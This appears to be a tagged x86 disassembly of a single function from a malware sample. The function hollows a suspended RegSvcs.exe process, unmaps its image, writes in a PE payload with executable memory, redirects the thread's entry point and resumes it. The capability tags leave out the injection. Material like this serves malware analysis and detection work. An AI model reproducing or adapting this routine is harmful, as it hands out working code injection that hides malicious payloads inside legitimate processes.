Function at 0x403800
Capabilities:
Enumerate pe sections
Parse pe header
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x358
mov eax, dword [0x465040]
xor eax, esp
mov dword [esp + 0x354], eax
mov eax, dword [ebp + 8]
xorps xmm0, xmm0
push esi
push edi
mov edi, ecx
mov dword [esp + 0x10], eax
mov eax, dword [eax]
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x314]
movlpd qword [esp + 0x318], xmm0
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push str.C:WindowsMicrosoft.NETFramework_v4.0.30319RegSvcs.exe
movlpd qword [esp + 0x344], xmm0
movlpd qword [esp + 0x34c], xmm0
movlpd qword [esp + 0x354], xmm0
movlpd qword [esp + 0x35c], xmm0
movlpd qword [esp + 0x364], xmm0
movlpd qword [esp + 0x36c], xmm0
movlpd qword [esp + 0x374], xmm0
movaps xmmword [esp + 0x48], xmm0
mov dword [esp + 0x338], 0x44
call eax
test eax, eax
jne 0x4038cf
mov edx, 0x4612d8
call fcn.00404020
push eax
call fcn.00404290
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x354]
xor ecx, esp
call fcn.004097c0
mov esp, ebp
pop ebp
ret
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x403aaa
mov esi, dword [edi + 0x3c]
add esi, edi
cmp dword [esi], 0x4550
jne 0x403aaa
lea eax, [esp + 0x38]
mov dword [esp + 0x38], 0x10007
push eax
mov eax, dword [esp + 0x14]
push dword [esp + 0x28]
mov eax, dword [eax + 4]
call eax
test eax, eax
je 0x403a8b
lea eax, [esp + 0x30c]
mov dword [esp + 0x30c], 0
push eax
push 4
lea eax, [esp + 0x3c]
push eax
mov eax, dword [esp + 0xe8]
add eax, 8
push eax
mov eax, dword [esp + 0x20]
push dword [esp + 0x30]
mov eax, dword [eax + 0xc]
call eax
mov eax, dword [esp + 0x34]
lea ecx, [esi + 0x34]
cmp eax, dword [ecx]
jne 0x403979
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x403a7d
push dword [esp + 0x34]
push dword [esp + 0x24]
call eax
lea ecx, [esi + 0x34]
mov eax, dword [esp + 0x10]
push 0x40
push 0x3000
push dword [esi + 0x50]
mov eax, dword [eax + 0x14]
push dword [ecx]
push dword [esp + 0x30]
call eax
mov dword [esp + 0x1c], eax
test eax, eax
je 0x403a84
lea ecx, [esp + 0x308]
mov dword [esp + 0x308], 0
push ecx
push dword [esi + 0x54]
push edi
push eax
mov eax, dword [esp + 0x20]
push dword [esp + 0x30]
mov eax, dword [eax + 0x10]
call eax
xor eax, eax
mov dword [esp + 0x14], 0
cmp ax, word [esi + 6]
jae 0x403a30
xor ecx, ecx
mov dword [esp + 0x18], ecx
nop dword [eax]
add ecx, edi
lea eax, [esp + 0x308]
add ecx, dword [edi + 0x3c]
push eax
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, edi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x20]
push dword [esp + 0x30]
mov eax, dword [eax + 0x10]
call eax
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
inc edx
movzx eax, word [esi + 6]
add ecx, 0x28
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], ecx
cmp edx, eax
jl 0x4039e0
mov edi, dword [esp + 0x10]
lea eax, [esp + 0x308]
push eax
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [esp + 0xe8]
add eax, 8
push eax
push dword [esp + 0x30]
mov eax, dword [edi + 0x10]
call eax
mov eax, dword [esi + 0x28]
add eax, dword [esp + 0x1c]
mov dword [esp + 0xe8], eax
lea eax, [esp + 0x38]
push eax
push dword [esp + 0x28]
mov eax, dword [edi + 8]
call eax
push dword [esp + 0x24]
mov eax, dword [edi + 0x1c]
call eax
jmp 0x403aaa
mov edx, 0x461318
jmp 0x403a90
mov edx, 0x461340
jmp 0x403a90
mov edx, 0x461364
call fcn.00404020
push eax
call fcn.00404290
add esp, 4
push 1
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x20]
call esi
mov ecx, dword [esp + 0x35c]
pop edi
pop esi
xor ecx, esp
call fcn.004097c0
mov esp, ebp
pop ebp
ret